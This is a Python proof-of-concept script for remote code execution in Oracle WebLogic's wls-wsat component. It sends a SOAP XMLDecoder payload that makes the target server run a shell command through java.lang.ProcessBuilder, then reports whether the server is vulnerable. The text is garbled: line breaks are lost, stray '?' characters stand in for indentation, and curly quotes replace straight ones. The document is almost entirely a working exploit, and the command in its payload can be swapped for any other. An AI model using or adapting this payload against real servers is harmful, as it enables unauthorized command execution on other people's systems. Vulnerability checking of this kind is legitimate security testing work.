Weblogic wls RCE 漏洞验证POC

#!/usr/bin/env python# coding:utf-8# @Date ???: 2017/12/22 17:11# @File ???: weblogic_poc.py# @Author ?: sevck (jianan.huang@qingteng.cn)# @Link ???: http://www.qingteng.cn ?????????????????#------------------------------------------------------------------------- ?import requestsimport refrom sys import argvheads = { ???‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0‘, ???‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8‘, ???‘Accept-Language‘: ‘zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3‘, ???‘Content-Type‘: ‘text/xml;charset=UTF-8‘ ???}def poc(url): ???if not url.startswith("http"): ???????url = "http://" + url ???if "/" in url: ???????url += ‘/wls-wsat/CoordinatorPortType‘ ???post_str = ‘‘‘ ???<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> ?????<soapenv:Header> ???????<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> ?????????<java> ???????????<object class="java.lang.ProcessBuilder"> ?????????????<array class="java.lang.String" length="2"> ???????????????<void index="0"> ?????????????????<string>/bin/touch</string> ???????????????</void> ???????????????<void index="1"> ?????????????????<string>/tmp/weblogic</string> ???????????????</void> ?????????????</array> ?????????????<void method="start"/> ???????????</object> ?????????</java> ???????</work:WorkContext> ?????</soapenv:Header> ?????<soapenv:Body/> ???</soapenv:Envelope> ???‘‘‘ ???try: ???????response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads) ???????response = response.text ???????response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0) ???except Exception, e: ???????response = "" ???if ‘<faultstring>java.lang.ProcessBuilder‘ in response or "<faultstring>0" in response: ???????result = "Vulnerability" ???????return result ???else: ???????result = "No Vulnerability" ???????return resultif __name__ == ‘__main__‘: ???if len(argv) == 1: ???????print "python weblogic_poc.py url:port" ???????exit(0) ???else: ???????url = argv[1] ???result = poc(url=url) ???print result